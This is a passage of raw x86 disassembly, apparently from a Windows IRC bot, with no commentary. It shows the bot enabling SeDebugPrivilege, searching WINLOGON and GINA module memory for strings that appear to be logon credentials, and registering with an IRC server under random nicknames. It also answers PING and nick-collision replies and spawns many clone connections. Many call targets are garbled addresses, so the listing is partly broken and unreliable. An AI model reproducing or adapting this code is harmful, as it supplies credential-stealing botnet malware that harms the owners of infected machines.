mov [ebp+arg_0], eax
jz loc_417066
mov esi, dword_42713C
mov edi, 400h
mov ebx, offset dword_4D3490
push edi
push ebx
push offset off_4380FC
call esi
push edi
mov edi, offset dword_4D3C90
push edi
push offset off_4380E4
call esi
cmp [ebp+var_4], 1
push offset dword_4D46A8
push [ebp+arg_0]
jnz short loc_417012
call sub_417275
jmp short loc_417017
; ---------------------------------------------------------------------------
loc_417012: ; CODE XREF: sub_416F1A+EFj
call sub_41741C
loc_417017: ; CODE XREF: sub_416F1A+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_41705F
cmp dword_4D46A8, 0
jnz short loc_417046
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_438088
push 200h
push eax
call sub_41B980
add esp, 18h
jmp short loc_417079
; ---------------------------------------------------------------------------
loc_417046: ; CODE XREF: sub_416F1A+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_417056
call sub_417552
jmp short loc_41705B
; ---------------------------------------------------------------------------
loc_417056: ; CODE XREF: sub_416F1A+133j
call sub_4175E9
loc_41705B: ; CODE XREF: sub_416F1A+13Aj
pop ecx
push eax
jmp short loc_41706B
; ---------------------------------------------------------------------------
loc_41705F: ; CODE XREF: sub_416F1A+101j
push offset unk_438050
jmp short loc_41706B
; ---------------------------------------------------------------------------
loc_417066: ; CODE XREF: sub_416F1A+B6j
push offset unk_438024
loc_41706B: ; CODE XREF: sub_416F1A+143j
; sub_416F1A+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_417079: ; CODE XREF: sub_416F1A+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
push [ebp+var_8]
nop
call near ptr 2940449h
pop ebx
jmp short loc_4170A6
; ---------------------------------------------------------------------------
loc_417093: ; CODE XREF: sub_416F1A+4Ej
push offset unk_437FF0
loc_417098: ; CODE XREF: sub_416F1A+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4170A6: ; CODE XREF: sub_416F1A+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_4170CD
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409A72
add esp, 14h
loc_4170CD: ; CODE XREF: sub_416F1A+191j
lea eax, [ebp+var_29C]
push eax
call sub_4151AC
push [ebp+var_18]
call sub_40B412
pop ecx
pop ecx
push esi
nop
call near ptr 288097Dh
pop edi
pop esi
sub_416F1A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427148
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_427144
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D449C
push ebp
push 0
call esi
push eax
call near ptr 2950000h
nop
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D449C
test eax, eax
jnz short loc_4171D9
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_4171D9
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_4171D9
loc_417175: ; CODE XREF: sub_4170EC+EBj
cmp word ptr [ebx+8], 5
jnz short loc_4171CC
push 0
push 0
call dword_4D4490
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D46A0
test eax, eax
jnz short loc_4171BD
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4171F1
loc_4171BD: ; CODE XREF: sub_4170EC+AAj
test edi, edi
jz short loc_4171C8
push edi
call dword_4D4498
loc_4171C8: ; CODE XREF: sub_4170EC+D3j
mov eax, [esp+28h+var_10]
loc_4171CC: ; CODE XREF: sub_4170EC+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_417175
loc_4171D9: ; CODE XREF: sub_4170EC+6Dj
; sub_4170EC+7Aj ...
xor edi, edi
loc_4171DB: ; CODE XREF: sub_4170EC+17Dj
push ebp
push 0
call esi
push eax
nop
call near ptr 2950000h
mov eax, edi
loc_4171E9: ; CODE XREF: sub_4170EC+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_4171F1: ; CODE XREF: sub_4170EC+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_41725A
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_417207: ; CODE XREF: sub_4170EC+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41726E
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41724C
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_41724C: ; CODE XREF: sub_4170EC+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417207
loc_41725A: ; CODE XREF: sub_4170EC+10Fj
test edi, edi
jz short loc_417265
push edi
call dword_4D4498
loc_417265: ; CODE XREF: sub_4170EC+170j
mov edi, [esp+28h+var_4]
jmp loc_4171DB
; ---------------------------------------------------------------------------
loc_41726E: ; CODE XREF: sub_4170EC+13Cj
xor eax, eax
jmp loc_4171E9
sub_4170EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417275 proc near ; CODE XREF: sub_416F1A+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call near ptr 282091Ch
nop
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_41729E
xor eax, eax
jmp loc_417419
; ---------------------------------------------------------------------------
loc_41729E: ; CODE XREF: sub_417275+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
nop
call near ptr 29702CAh
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427148
push 8
call esi
mov edi, dword_427144
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_427150
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_4172EE
xor esi, esi
jmp loc_41740C
; ---------------------------------------------------------------------------
loc_4172EE: ; CODE XREF: sub_417275+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 2960B56h
test eax, eax
jz loc_4173FB
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4173FB
test [ebp+var_2B], 1
jnz loc_4173FB
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_4173FB
loc_417351: ; CODE XREF: sub_417275+112j
push edi
push offset dword_4D3490
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_417379
lea eax, [edi+200h]
push eax
push offset dword_4D3C90
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_417389
loc_417379: ; CODE XREF: sub_417275+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4173FB
jmp short loc_417351
; ---------------------------------------------------------------------------
loc_417389: ; CODE XREF: sub_417275+102j
test edi, edi
jz short loc_4173FB
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call near ptr 2900000h
nop
test eax, eax
jz short loc_4173C4
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
nop
call near ptr 28F09B1h
test eax, eax
jz short loc_4173C4
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_4173C4: ; CODE XREF: sub_417275+12Bj
; sub_417275+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D46B4, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D46AC, eax
mov dword_4D46B0, edi
loc_4173FB: ; CODE XREF: sub_417275+90j
; sub_417275+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
call near ptr 2950000h
nop
mov esi, [ebp+var_10]
loc_41740C: ; CODE XREF: sub_417275+74j
push [ebp+var_4]
call near ptr 28005AFh
nop
pop edi
mov eax, esi
pop ebx
loc_417419: ; CODE XREF: sub_417275+24j
pop esi
leave
retn
sub_417275 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
nop
call near ptr 282091Ch
test eax, eax
mov [ebp+arg_0], eax
jz loc_41750E
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
nop
call near ptr 29702CAh
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417505
mov edi, dword_427148
loc_417467: ; CODE XREF: sub_41741C+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 2960B56h
test eax, eax
jz short loc_4174F3
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4174F9
test [ebp+var_13], 1
jnz short loc_4174F9
push ecx
push 8
call edi
push eax
call near ptr 2960000h
nop
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call near ptr 2970000h
nop
test eax, eax
jz short loc_4174E5
push offset dword_4D3490
push esi
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_4174E5
lea eax, [esi+400h]
push offset dword_4D3C90
push eax
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_417515
loc_4174E5: ; CODE XREF: sub_41741C+9Fj
; sub_41741C+B0j
push esi
push 0
call edi
push eax
nop
call near ptr 2950000h
jmp short loc_4174F9
; ---------------------------------------------------------------------------
loc_4174F3: ; CODE XREF: sub_41741C+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4174F9: ; CODE XREF: sub_41741C+71j
; sub_41741C+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_417467
loc_417505: ; CODE XREF: sub_41741C+3Fj
push [ebp+arg_0]
nop
call near ptr 28005AFh
loc_41750E: ; CODE XREF: sub_41741C+1Ej
xor eax, eax
loc_417510: ; CODE XREF: sub_41741C+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417515: ; CODE XREF: sub_41741C+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D46AC, ebx
mov dword_4D46B0, eax
cmp [eax], cl
jnz short loc_417537
cmp [eax+1], cl
jz short loc_41753F
loc_417537: ; CODE XREF: sub_41741C+114j
; sub_41741C+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417537
loc_41753F: ; CODE XREF: sub_41741C+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
nop
call near ptr 28005AFh
push 1
pop eax
jmp short loc_417510
sub_41741C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417552 proc near ; CODE XREF: sub_416F1A+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D46A8
push esi
mov esi, dword_427148
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
nop
call near ptr 2960000h
mov ecx, dword_4D46A8
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D46B0
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D46B4
push eax
call dword_4D4494
push [ebp+var_4]
mov edi, offset dword_4D44A0
push offset dword_4D3490
push offset dword_4D3C90
push [ebp+arg_0]
push offset dword_43820C
push 200h
push edi
call sub_41B980
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
nop
call near ptr 2950000h
mov eax, edi
pop edi
pop esi
leave
retn
sub_417552 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D46A8
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call near ptr 2960B03h
nop
push eax
nop
call near ptr 2960000h
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D3C90
mov edi, 200h
mov esi, offset dword_4D3290
loc_41762F: ; CODE XREF: sub_4175E9+FAj
mov eax, dword_4D46A8
add eax, eax
push eax
push dword_4D46B0
push [ebp+var_14]
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D4494
mov eax, dword_4D46A8
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4176A4
loc_41766C: ; CODE XREF: sub_4175E9+B3j
cmp [ebp+var_8], 0
jz short loc_4176C1
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417690
cmp byte ptr [ecx+1], 0
jnz short loc_417690
cmp dl, 20h
jnb short loc_41768A
and [ebp+var_8], 0
loc_41768A: ; CODE XREF: sub_4175E9+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417694
loc_417690: ; CODE XREF: sub_4175E9+90j
; sub_4175E9+96j
and [ebp+var_8], 0
loc_417694: ; CODE XREF: sub_4175E9+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_41766C
cmp [ebp+var_8], 0
jz short loc_4176C1
loc_4176A4: ; CODE XREF: sub_4175E9+81j
push [ebp+var_14]
push offset dword_4D3490
push ebx
push [ebp+arg_0]
push offset dword_43820C
push edi
push esi
call sub_41B980
add esp, 1Ch
jmp short loc_4176D9
; ---------------------------------------------------------------------------
loc_4176C1: ; CODE XREF: sub_4175E9+87j
; sub_4175E9+B9j
push offset dword_4D3490
push ebx
push [ebp+arg_0]
push offset dword_43825C
push edi
push esi
call sub_41B980
add esp, 18h
loc_4176D9: ; CODE XREF: sub_4175E9+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_41762F
push [ebp+var_14]
push 0
nop
call near ptr 2960B03h
push eax
nop
call near ptr 2950000h
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4175E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CB6A4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_41777E
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB624
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CB664
cmp eax, esi
jnz short loc_417763
push [ebp+arg_0]
call dword_4CB6A8
test eax, eax
jz short loc_41777E
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417763: ; CODE XREF: sub_417702+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB5CC
cmp eax, esi
jnz short loc_417782
push edi
call dword_4CB6BC
loc_41777E: ; CODE XREF: sub_417702+1Bj
; sub_417702+58j
mov eax, esi
jmp short loc_417784
; ---------------------------------------------------------------------------
loc_417782: ; CODE XREF: sub_417702+73j
mov eax, edi
loc_417784: ; CODE XREF: sub_417702+7Ej
pop edi
pop esi
leave
retn
sub_417702 endp
; =============== S U B R O U T I N E =======================================
sub_417788 proc near ; CODE XREF: sub_401ACD+3294p
; sub_401ACD+3300p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42A068 ; "\n"
push edi
call sub_41BEC0
pop ecx
mov esi, offset dword_4D46BC
pop ecx
loc_4177A0: ; CODE XREF: sub_417788+42j
cmp dword ptr [esi-4], 1
jnz short loc_4177BE
cmp dword ptr [esi], 0
jbe short loc_4177BE
push 0
push edi
call sub_41AFE0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CB674
loc_4177BE: ; CODE XREF: sub_417788+1Cj
; sub_417788+21j
add esi, 210h
cmp esi, offset dword_4DADDC
jl short loc_4177A0
pop edi
pop esi
retn
sub_417788 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177CF proc near ; CODE XREF: sub_4178BA+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42D0F0 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41C0F4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_4177F4: ; CODE XREF: sub_4177CF+35j
push esi
push 0
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_4177F4
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_41781C
cmp esi, edi
jnz short loc_41781C
push 1
pop eax
jmp loc_4178B5
; ---------------------------------------------------------------------------
loc_41781C: ; CODE XREF: sub_4177CF+3Fj
; sub_4177CF+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41C070
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417837
push offset dword_438E70
jmp short loc_417885
; ---------------------------------------------------------------------------
loc_417837: ; CODE XREF: sub_4177CF+5Fj
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_417858
push esi
push offset dword_438E6C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4178B3
loc_417858: ; CODE XREF: sub_4177CF+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41B590
lea eax, [ebp+var_420]
push eax
call sub_417ADD
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset dword_438E60
loc_417885: ; CODE XREF: sub_4177CF+66j
lea eax, [ebp+var_220]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CB674
loc_4178B3: ; CODE XREF: sub_4177CF+87j
xor eax, eax
loc_4178B5: ; CODE XREF: sub_4177CF+48j
pop edi
pop esi
pop ebx
leave
retn
sub_4177CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178BA proc near ; DATA XREF: sub_417A5F+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41BB20
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D46C4[esi]
mov dword_4D46B8[esi], edi
push dword_4D48C4[esi]
push eax
call sub_417702
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D46BC[esi], eax
jb loc_417A3F
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41B590
lea eax, [ebp+var_2008]
push eax
call sub_417ADD
lea eax, [ebp+var_4008]
push eax
call sub_417ADD
lea eax, [ebp+var_3008]
push eax
call sub_417ADD
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D46BC[esi]
call dword_4CB674
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
loc_417996: ; CODE XREF: sub_4178BA+111j
; sub_4178BA+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D46BC[esi]
call dword_4CB63C
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417A3F
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417996
loc_4179CD: ; CODE XREF: sub_4178BA+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_4179F4
cmp al, 0Ah
jz short loc_4179F4
cmp [ebp+arg_0], 0FA0h
jz short loc_4179F4
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417A2E
; ---------------------------------------------------------------------------
loc_4179F4: ; CODE XREF: sub_4178BA+11Cj
; sub_4178BA+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417A2E
push dword_4D46BC[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_4177CF
pop ecx
test eax, eax
pop ecx
ja short loc_417A3F
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417A2E: ; CODE XREF: sub_4178BA+138j
; sub_4178BA+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_4179CD
jmp loc_417996
; ---------------------------------------------------------------------------
loc_417A3F: ; CODE XREF: sub_4178BA+40j
; sub_4178BA+107j ...
mov dword_4D46B8[esi], ebx
mov esi, dword_4D46BC[esi]
cmp esi, ebx
jbe short loc_417A56
push esi
call dword_4CB6BC
loc_417A56: ; CODE XREF: sub_4178BA+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_4178BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417AD8
loc_417A71: ; CODE XREF: sub_417A5F+77j
xor edi, edi
mov eax, offset dword_4D46B8
loc_417A78: ; CODE XREF: sub_417A5F+28j
cmp [eax], ebx
jz short loc_417A89
add eax, 210h
inc edi
cmp eax, offset dword_4DADD8
jl short loc_417A78
loc_417A89: ; CODE XREF: sub_417A5F+1Bj
cmp edi, 31h
jz short loc_417AD8
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D46C4[esi]
push eax
call sub_41BEB0
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D48C4[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D46B8[esi], 1
push eax
push ebx
push edi
push offset sub_4178BA
push ebx
push ebx
call near ptr 282060Ah
nop
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417A71
loc_417AD8: ; CODE XREF: sub_417A5F+10j
; sub_417A5F+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp
; sub_401ACD+3793p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
add esp, 0Ch
call sub_41B8E2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276F8
call sub_41C798
cmp eax, 1
jnz short loc_417B27
call sub_41B8E2
call sub_41B8E2
push 66h
cdq
pop ecx
idiv ecx
push off_4385B0[edx*4]
jmp short loc_417B40
; ---------------------------------------------------------------------------
loc_417B27: ; CODE XREF: sub_417ADD+2Fj
call sub_41B8E2
call sub_41B8E2
cdq
mov ecx, 0C0h
idiv ecx
push off_4382B0[edx*4]
loc_417B40: ; CODE XREF: sub_417ADD+48j
lea eax, [ebp+var_2C]
push eax
call sub_41BEB0
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41AFE0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276F0
call sub_41C798
mov ebx, eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E8
call sub_41C798
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417BB3
cmp esi, 3
jnz short loc_417BAA
cmp ebx, 1
jz short loc_417BB3
loc_417BAA: ; CODE XREF: sub_417ADD+C6j
cmp eax, 1
jnz loc_417C6D
loc_417BB3: ; CODE XREF: sub_417ADD+C1j
; sub_417ADD+CBj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276E0
call sub_41C798
push off_4385B0[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41BEB0
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41BFB0
add esp, 10h
test eax, eax
jnz short loc_417C5A
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5A
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
call sub_41C798
cmp eax, 1
jnz short loc_417C5A
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
